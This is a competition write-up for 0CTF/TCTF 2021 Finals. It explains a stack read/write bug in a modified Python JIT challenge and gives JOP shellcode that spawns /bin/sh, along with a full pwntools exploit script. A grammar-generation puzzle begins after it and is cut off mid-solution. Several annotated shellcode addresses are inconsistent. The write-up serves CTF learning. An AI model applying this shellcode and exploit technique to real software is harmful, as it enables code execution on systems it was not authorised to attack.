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<article class="markdown-body"><h1 id="0ctftctf-2021-finals"><a class="header-link" href="#0ctftctf-2021-finals"></a>0CTF/TCTF 2021 Finals</h1>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="secure-jit"><a class="header-link" href="#secure-jit"></a>secure JIT</h3>
<h4 id="intro"><a class="header-link" href="#intro"></a>INTRO</h4>
<p>This is a challenge which use python ast module generate JIT(64 bit), however, author modified code with the origin ast module, and give us the diff result:<code>patch.diff</code>.We could find out that the challenge mmap a executable section, and put the JIT binary inside for execution.</p>
<h4 id="bug"><a class="header-link" href="#bug"></a>BUG</h4>
<p>After inspecting codes and several try and error, we find out that there exisit problem in the function for generate functiondef, below is the reference.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">visit_FunctionDef</span>(<span class="hljs-params">self, node</span>):</span>
<span class="hljs-keyword">assert</span> self.func <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>, <span class="hljs-string">'nested functions not supported'</span>
<span class="hljs-keyword">assert</span> node.args.vararg <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>, <span class="hljs-string">'*args not supported'</span>
<span class="hljs-keyword">assert</span> <span class="hljs-keyword">not</span> node.args.kwonlyargs, <span class="hljs-string">'keyword-only args not supported'</span>
<span class="hljs-keyword">assert</span> <span class="hljs-keyword">not</span> node.args.kwarg, <span class="hljs-string">'keyword args not supported'</span>
self.func = node.name
self.label_num = <span class="hljs-number">1</span>
self.<span class="hljs-built_in">locals</span> = {a.arg: i <span class="hljs-keyword">for</span> i, a <span class="hljs-keyword">in</span> <span class="hljs-built_in">enumerate</span>(node.args.args)}
<span class="hljs-comment"># Find names of additional locals assigned in this function</span>
locals_visitor = LocalsVisitor()
locals_visitor.visit(node)
<span class="hljs-keyword">for</span> name <span class="hljs-keyword">in</span> locals_visitor.local_names:
<span class="hljs-keyword">if</span> name <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> self.<span class="hljs-built_in">locals</span>:
self.<span class="hljs-built_in">locals</span>[name] = <span class="hljs-built_in">len</span>(self.<span class="hljs-built_in">locals</span>) + <span class="hljs-number">1</span>
<span class="hljs-keyword">if</span> <span class="hljs-string">'array'</span> <span class="hljs-keyword">in</span> locals_visitor.function_calls:
self.<span class="hljs-built_in">locals</span>[<span class="hljs-string">'_array_size'</span>] = <span class="hljs-built_in">len</span>(self.<span class="hljs-built_in">locals</span>) + <span class="hljs-number">1</span>
self.<span class="hljs-built_in">globals</span> = <span class="hljs-built_in">set</span>(locals_visitor.global_names)
self.break_labels = []
<span class="hljs-comment"># Function label and header</span>
self.asm.label(node.name)
self.num_extra_locals = <span class="hljs-built_in">len</span>(self.<span class="hljs-built_in">locals</span>) - <span class="hljs-built_in">len</span>(node.args.args)
self.compile_enter(self.num_extra_locals)
<span class="hljs-comment"># Now compile all the statements in the function body</span>
<span class="hljs-keyword">for</span> statement <span class="hljs-keyword">in</span> node.body:
self.visit(statement)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-built_in">isinstance</span>(node.body[-<span class="hljs-number">1</span>], ast.Return):
<span class="hljs-comment"># Function didn't have explicit return at the end,</span>
<span class="hljs-comment"># compile return now (or exit for "main")</span>
self.compile_return(self.num_extra_locals)
self.asm.comment(<span class="hljs-string">''</span>)
self.func = <span class="hljs-literal">None</span></code></pre><p>In line 9, we could find out that it didn't check if the function's parameter is matched with the argument before putting parameters into <code>self.locals</code>. This would cause <strong>arbitrary read/write in stack</strong> when using some statement like assignment or arithmetic operation.</p>
<h4 id="arbitrary-readwrite-in-stack-to-hijack-rip"><a class="header-link" href="#arbitrary-readwrite-in-stack-to-hijack-rip"></a>Arbitrary read/write in stack to hijack RIP</h4>
<p>With the arbitrary read/write in stack problem we could hijack RIP now !
The code below is an example:</p>
<pre class="hljs"><code><span class="hljs-attribute">test</span>()
<span class="hljs-attribute">def</span> test():
<span class="hljs-attribute">a</span> = <span class="hljs-number">1</span>
<span class="hljs-attribute">test1</span>()
<span class="hljs-attribute">def</span> test<span class="hljs-number">1</span>(num<span class="hljs-number">1</span>, num<span class="hljs-number">2</span>, num<span class="hljs-number">3</span>, num<span class="hljs-number">4</span>, num<span class="hljs-number">5</span>):
<span class="hljs-attribute">x</span> = <span class="hljs-number">0</span>
<span class="hljs-attribute">x</span> = num<span class="hljs-number">1</span>
<span class="hljs-attribute">x</span> = num<span class="hljs-number">2</span>
<span class="hljs-attribute">x</span> = num<span class="hljs-number">3</span>
<span class="hljs-attribute">x</span> = num<span class="hljs-number">4</span>
<span class="hljs-attribute">x</span> = num<span class="hljs-number">5</span>
<span class="hljs-attribute">num3</span>+=<span class="hljs-number">0</span>x<span class="hljs-number">10</span></code></pre><p>we could imagine the stack diagram when execute to test1()</p>
<pre class="hljs"><code><span class="hljs-section">| stack | <------- ...
----------------</span>
<span class="hljs-section">| RIP(outside) | <------- num3
----------------</span>
<span class="hljs-section">| 0x00000001 | <------- a, num4
----------------</span>
<span class="hljs-section">| rbp(outside) | <------- num5
----------------</span>
<span class="hljs-section">| rip(test) |
----------------</span>
<span class="hljs-section">| 0x00000000 | <------- x
----------------</span>
<span class="hljs-section">| rbp(test) |
----------------</span></code></pre><h4 id="jop"><a class="header-link" href="#jop"></a>JOP</h4>
<p>Now, we could hijack rip, so it's time to write some shellcode...
We decide to use <strong>Assignment</strong> to write shellcode.
So there existed a constraint that <strong>instruction must be lower than 4 bytes</strong>
Finally we had the following gadget.</p>
<pre class="hljs"><code>setupJOP()
def setupJOP():
overwriteRIP()
a = <span class="hljs-number">0x04eb5854</span> #<span class="hljs-keyword">push</span> <span class="hljs-built_in">rsp</span><span class="hljs-comment">; pop rax</span>
a = <span class="hljs-number">0x682f00c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x686200c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x686900c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x686e00c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x682f00c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x687300c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x686800c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x680000c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04eb5f54</span> #<span class="hljs-keyword">push</span> <span class="hljs-built_in">rsp</span><span class="hljs-comment">; pop rdi</span>
a = <span class="hljs-number">0x04ebf631</span> #<span class="hljs-keyword">xor</span> <span class="hljs-built_in">esi</span>, <span class="hljs-built_in">esi</span>
a = <span class="hljs-number">0x04ebd231</span> #<span class="hljs-keyword">xor</span> <span class="hljs-built_in">edx</span>, <span class="hljs-built_in">edx</span>
a = <span class="hljs-number">0x04ebc031</span> #<span class="hljs-keyword">xor</span> <span class="hljs-built_in">eax</span>, <span class="hljs-built_in">eax</span>
a = <span class="hljs-number">0x050f3bb0</span> #<span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">0x3b</span><span class="hljs-comment">; syscall</span>
def overwriteRIP(num1,num2,num3,num4,num5):
x = num1
x = num2
x = num3
x = num4
x = num5
num3+=<span class="hljs-number">0x10</span></code></pre><p>shellcode execution flow :</p>
<pre class="hljs"><code><!-- set <span class="hljs-built_in">rax</span> to <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0x15</span>: <span class="hljs-keyword">push</span> <span class="hljs-built_in">rsp</span>
<span class="hljs-number">0x16</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rax</span>
<span class="hljs-number">0x17</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x1d</span>
<!-- <span class="hljs-keyword">mov</span> <span class="hljs-string">'/'</span> <span class="hljs-keyword">into</span> <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0x1d</span>: <span class="hljs-keyword">mov</span> <span class="hljs-built_in">byte</span>[<span class="hljs-built_in">rax</span>],<span class="hljs-number">0x2f</span>
<span class="hljs-number">0x20</span>: <span class="hljs-keyword">push</span> <span class="hljs-number">0x6808458f</span>
<span class="hljs-number">0x25</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0x26</span>: <span class="hljs-keyword">nop</span>
<span class="hljs-number">0x27</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x2d</span>
<!-- <span class="hljs-keyword">mov</span> <span class="hljs-string">'b'</span> <span class="hljs-keyword">into</span> <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0x2d</span>: <span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span>
<span class="hljs-number">0x2f</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x35</span>
<span class="hljs-number">0x35</span>: <span class="hljs-keyword">mov</span> <span class="hljs-built_in">byte</span>[<span class="hljs-built_in">rax</span>],<span class="hljs-number">0x62</span>
<span class="hljs-number">0x38</span>: <span class="hljs-keyword">push</span> <span class="hljs-number">0x6808458f</span>
<span class="hljs-number">0x3d</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0x3e</span>: <span class="hljs-keyword">nop</span>
<span class="hljs-number">0x3f</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x45</span>
<!-- <span class="hljs-keyword">mov</span> <span class="hljs-string">'i'</span> <span class="hljs-keyword">into</span> <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0x45</span>: <span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span>
<span class="hljs-number">0x47</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x4d</span>
<span class="hljs-number">0x4d</span>: <span class="hljs-keyword">mov</span> pyte <span class="hljs-built_in">ptr</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x69</span>
<span class="hljs-number">0x50</span>: <span class="hljs-keyword">push</span> <span class="hljs-number">0x6808458f</span>
<span class="hljs-number">0x55</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0x56</span>: <span class="hljs-keyword">nop</span>
<span class="hljs-number">0x57</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x5d</span>
<!-- <span class="hljs-keyword">mov</span> <span class="hljs-string">'n'</span> <span class="hljs-keyword">into</span> <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0x5d</span>: <span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span>
<span class="hljs-number">0x5f</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x65</span>
<span class="hljs-number">0x65</span>: <span class="hljs-keyword">mov</span> pyte <span class="hljs-built_in">ptr</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x6e</span>
<span class="hljs-number">0x68</span>: <span class="hljs-keyword">push</span> <span class="hljs-number">0x6808458f</span>
<span class="hljs-number">0x6d</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0x6e</span>: <span class="hljs-keyword">nop</span>
<span class="hljs-number">0x6f</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x75</span>
<!-- <span class="hljs-keyword">mov</span> <span class="hljs-string">'/'</span> <span class="hljs-keyword">into</span> <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0x75</span>: <span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span>
<span class="hljs-number">0x77</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x7d</span>
<span class="hljs-number">0x7d</span>: <span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rax</span>],<span class="hljs-number">0x2f</span>
<span class="hljs-number">0x80</span>: <span class="hljs-keyword">push</span> <span class="hljs-number">0x6808458f</span>
<span class="hljs-number">0x85</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0x86</span>: <span class="hljs-keyword">nop</span>
<span class="hljs-number">0x87</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x8d</span>
<!-- <span class="hljs-keyword">mov</span> <span class="hljs-string">'s'</span> <span class="hljs-keyword">into</span> <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0x8d</span>: <span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span>
<span class="hljs-number">0x8f</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x95</span>
<span class="hljs-number">0x95</span>: <span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rax</span>],<span class="hljs-number">0x73</span>
<span class="hljs-number">0x98</span>: <span class="hljs-keyword">push</span> <span class="hljs-number">0x6808458f</span>
<span class="hljs-number">0x9d</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0x9e</span>: <span class="hljs-keyword">nop</span>
<span class="hljs-number">0x9f</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0xa5</span>
<!-- <span class="hljs-keyword">mov</span> <span class="hljs-string">'h'</span> <span class="hljs-keyword">into</span> <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0xa5</span>: <span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span>
<span class="hljs-number">0xa7</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0x95</span>
<span class="hljs-number">0xad</span>: <span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rax</span>],<span class="hljs-number">0x73</span>
<span class="hljs-number">0xb0</span>: <span class="hljs-keyword">push</span> <span class="hljs-number">0x6808458f</span>
<span class="hljs-number">0xb5</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0xb6</span>: <span class="hljs-keyword">nop</span>
<span class="hljs-number">0xb7</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0xbd</span>
<!-- <span class="hljs-keyword">mov</span> <span class="hljs-string">'\x00'</span> <span class="hljs-keyword">into</span> <span class="hljs-built_in">rsp</span> address -->
<span class="hljs-number">0xa5</span>: <span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span>
<span class="hljs-number">0xa7</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0xc5</span>
<span class="hljs-number">0xad</span>: <span class="hljs-keyword">mov</span> <span class="hljs-built_in">BYTE</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rax</span>],<span class="hljs-number">0x0</span>
<span class="hljs-number">0xb0</span>: <span class="hljs-keyword">push</span> <span class="hljs-number">0x6808458f</span>
<span class="hljs-number">0xb5</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0xb6</span>: <span class="hljs-keyword">nop</span>
<span class="hljs-number">0xb7</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0xd5</span>
<!-- <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rsp</span> to <span class="hljs-built_in">rdi</span> -->
<span class="hljs-number">0xd5</span>: <span class="hljs-keyword">push</span> <span class="hljs-built_in">rsp</span>
<span class="hljs-number">0xd6</span>: <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span>
<span class="hljs-number">0xd7</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0xdd</span>
<!-- set <span class="hljs-built_in">esi</span> to <span class="hljs-number">0</span> -->
<span class="hljs-number">0xdd</span>: <span class="hljs-keyword">xor</span> <span class="hljs-built_in">esi</span>,<span class="hljs-built_in">esi</span>
<span class="hljs-number">0xdf</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0xe5</span>
<!-- set <span class="hljs-built_in">edx</span> to <span class="hljs-number">0</span> -->
<span class="hljs-number">0xe5</span>: <span class="hljs-keyword">xor</span> <span class="hljs-built_in">edx</span>,<span class="hljs-built_in">edx</span>
<span class="hljs-number">0xe7</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0xed</span>
<!-- set <span class="hljs-built_in">eax</span> to <span class="hljs-number">0x3b</span> -->
<span class="hljs-number">0xe5</span>: <span class="hljs-keyword">xor</span> <span class="hljs-built_in">eax</span>,<span class="hljs-built_in">eax</span>
<span class="hljs-number">0xe7</span>: <span class="hljs-keyword">jmp</span> <span class="hljs-number">0xf5</span>
<span class="hljs-number">0xf5</span>: <span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">0x3b</span>
<!-- <span class="hljs-keyword">syscall</span> -->
<span class="hljs-number">0xf7</span> <span class="hljs-keyword">syscall</span>
</code></pre><p>Finally, exploit script:</p>
<pre class="hljs"><code>from pwn import *
code = <span class="hljs-string">'''</span>
setupJOP()
def setupJOP():
overwriteRIP()
a = <span class="hljs-number">0x04eb5854</span> #<span class="hljs-keyword">push</span> <span class="hljs-built_in">rsp</span><span class="hljs-comment">; pop rax</span>
a = <span class="hljs-number">0x682f00c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x686200c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x686900c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x686e00c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x682f00c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x687300c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x686800c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04ebc0fe</span> #<span class="hljs-keyword">inc</span> <span class="hljs-built_in">al</span><span class="hljs-comment">;</span>
a = <span class="hljs-number">0x680000c6</span> #<span class="hljs-keyword">mov</span> [<span class="hljs-built_in">rax</span>], <span class="hljs-number">0x10</span><span class="hljs-comment">; push ????</span>
a = <span class="hljs-number">0x04eb905f</span> #<span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span><span class="hljs-comment">; nop</span>
a = <span class="hljs-number">0x04eb5f54</span> #<span class="hljs-keyword">push</span> <span class="hljs-built_in">rsp</span><span class="hljs-comment">; pop rdi</span>
a = <span class="hljs-number">0x04ebf631</span> #<span class="hljs-keyword">xor</span> <span class="hljs-built_in">esi</span>, <span class="hljs-built_in">esi</span>
a = <span class="hljs-number">0x04ebd231</span> #<span class="hljs-keyword">xor</span> <span class="hljs-built_in">edx</span>, <span class="hljs-built_in">edx</span>
a = <span class="hljs-number">0x04ebc031</span> #<span class="hljs-keyword">xor</span> <span class="hljs-built_in">eax</span>, <span class="hljs-built_in">eax</span>
a = <span class="hljs-number">0x050f3bb0</span> #<span class="hljs-keyword">mov</span> <span class="hljs-built_in">al</span>, <span class="hljs-number">0x3b</span><span class="hljs-comment">; syscall</span>
def overwriteRIP(num1,num2,num3,num4,num5):
x = num1
x = num2
x = num3
x = num4
x = num5
num3+=<span class="hljs-number">0x10</span>
<span class="hljs-string">'''</span>
r = remote(<span class="hljs-string">'127.0.0.1'</span>,<span class="hljs-number">40404</span>)
r<span class="hljs-number">.</span>sendlineafter(<span class="hljs-string">'<xxx>`.\n'</span>,code+<span class="hljs-string">'EOF'</span>)
r<span class="hljs-number">.</span>interactive()
#flag{secure_jit_again_see_you_in_2022}
</code></pre><h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="how-to-generate"><a class="header-link" href="#how-to-generate"></a>how to generate</h3>
<h4 id="intro-1"><a class="header-link" href="#intro-1"></a>INTRO</h4>
<p>This is a challenge which use python lark module to generate random grammer.
This is the code for generating grammer:</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">gen_grammar</span>():</span>
gram = <span class="hljs-string">'''%import common.LETTER
%import common.WORD
%import common.NUMBER
%import common.DIGIT
%import common.WS
%ignore WS
start: statement+
'''</span>
num = <span class="hljs-number">0</span>
exprs = <span class="hljs-string">"expression: "</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">50</span>):
<span class="hljs-keyword">if</span> i!=<span class="hljs-number">0</span>:
exprs += <span class="hljs-string">" | "</span>
exprs += genexpr()
exprs += <span class="hljs-string">"-> cov_%d"</span> % num
num += <span class="hljs-number">1</span>
exprs += <span class="hljs-string">"\n"</span>
gram += exprs
stmts = <span class="hljs-string">"statement: "</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">100</span>):
<span class="hljs-keyword">if</span> i!= <span class="hljs-number">0</span>:
stmts += <span class="hljs-string">" | "</span>
stmts += genstmt()
stmts += <span class="hljs-string">"-> cov_%d"</span> % num
num += <span class="hljs-number">1</span>
stmts += <span class="hljs-string">"\n"</span>
gram += stmts
<span class="hljs-keyword">return</span> gram</code></pre><p>genexpr() generate grammer of expression
EX:</p>
<pre class="hljs"><code>LETTER <span class="hljs-string">"+"</span> <span class="hljs-built_in">WORD</span> <span class="hljs-string">"%"</span> DIGIT -> cov_0
<span class="hljs-built_in">WORD</span> <span class="hljs-string">"@"</span> LETTER <span class="hljs-string">"%"</span> LETTER <span class="hljs-string">"-"</span> DIGIT -> cov_1
NUMBER <span class="hljs-string">"@"</span> <span class="hljs-built_in">WORD</span> <span class="hljs-string">"*"</span> <span class="hljs-built_in">WORD</span> -> cov_2</code></pre><p>genstmt() generate grammer of statement
EX:</p>
<pre class="hljs"><code><span class="hljs-string">"OBzXJ4"</span> <span class="hljs-keyword">expression</span> statement <span class="hljs-string">"pEe"</span> <span class="hljs-keyword">expression</span> <span class="hljs-string">"Iowp1L"</span> NUMBER WORD -> cov_51
<span class="hljs-string">"OwO"</span> <span class="hljs-keyword">expression</span> <span class="hljs-string">"dvL6"</span> LETTER <span class="hljs-string">"Vr0czr"</span> <span class="hljs-keyword">expression</span> <span class="hljs-string">"dsnwh9"</span> DIGIT <span class="hljs-string">"hNeOhJ"</span> -> cov_52
<span class="hljs-string">"Vqg"</span> statement <span class="hljs-string">"1rAxJM"</span> <span class="hljs-keyword">expression</span> <span class="hljs-string">"y8ek4"</span> <span class="hljs-keyword">expression</span> <span class="hljs-string">"LVdgiw"</span> <span class="hljs-keyword">expression</span> -> cov_53</code></pre><p>So we need to generate sentences which map the given grammer.</p>
<h4 id="collect_cov"><a class="header-link" href="#collect_cov"></a>Collect_cov</h4>
<p>After we generate valid sentence, it will record the "rule's layer" we use.</p>
<pre class="hljs"><code>def collect_cov(ast):
<span class="hljs-built_in">cov</span> = <span class="hljs-number">0</span>
<span class="hljs-keyword">if</span> isinstance(ast, lark.tree.Tree):
<span class="hljs-keyword">for</span> ch <span class="hljs-keyword">in</span> ast.children:
<span class="hljs-built_in">cov</span> |= collect_cov(ch)
<span class="hljs-keyword">if</span> ast.data.startswith('cov_'):
<span class="hljs-built_in">num</span> = int(ast.data[<span class="hljs-number">4</span>:])
<span class="hljs-built_in">cov</span> |= (<span class="hljs-number">1</span><<<span class="hljs-built_in">num</span>)
<span class="hljs-built_in">return</span> <span class="hljs-built_in">cov</span></code></pre><h4 id="target"><a class="header-link" href="#target"></a>Target</h4>
<p>We need to match these goals.</p>
<ul class="list">
<li>Generate 4096 valid sentences</li>
<li>Each sentence should match more than 20 rules</li>
<li>Each sentence's <code>cov</code> should not be same</li>
<li>Union all the sentence, we should use all the rules.</li>
</ul>
<h4 id="solution"><a class="header-link" href="#solution"></a>Solution</h4>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">import</span> zlib
random.seed (<span class="hljs-number">1000</span>)
<span class="hljs-string">'''
- rules are store in _dict
- _dict:
{ cov_num : {'sentence': string, 'stateCnt': number, 'expCnt': number} }
- sentence : if exist statement, replace it as 's'
if exist expression, replace it as 'e'
if exist LETTER, replace it as 'a'
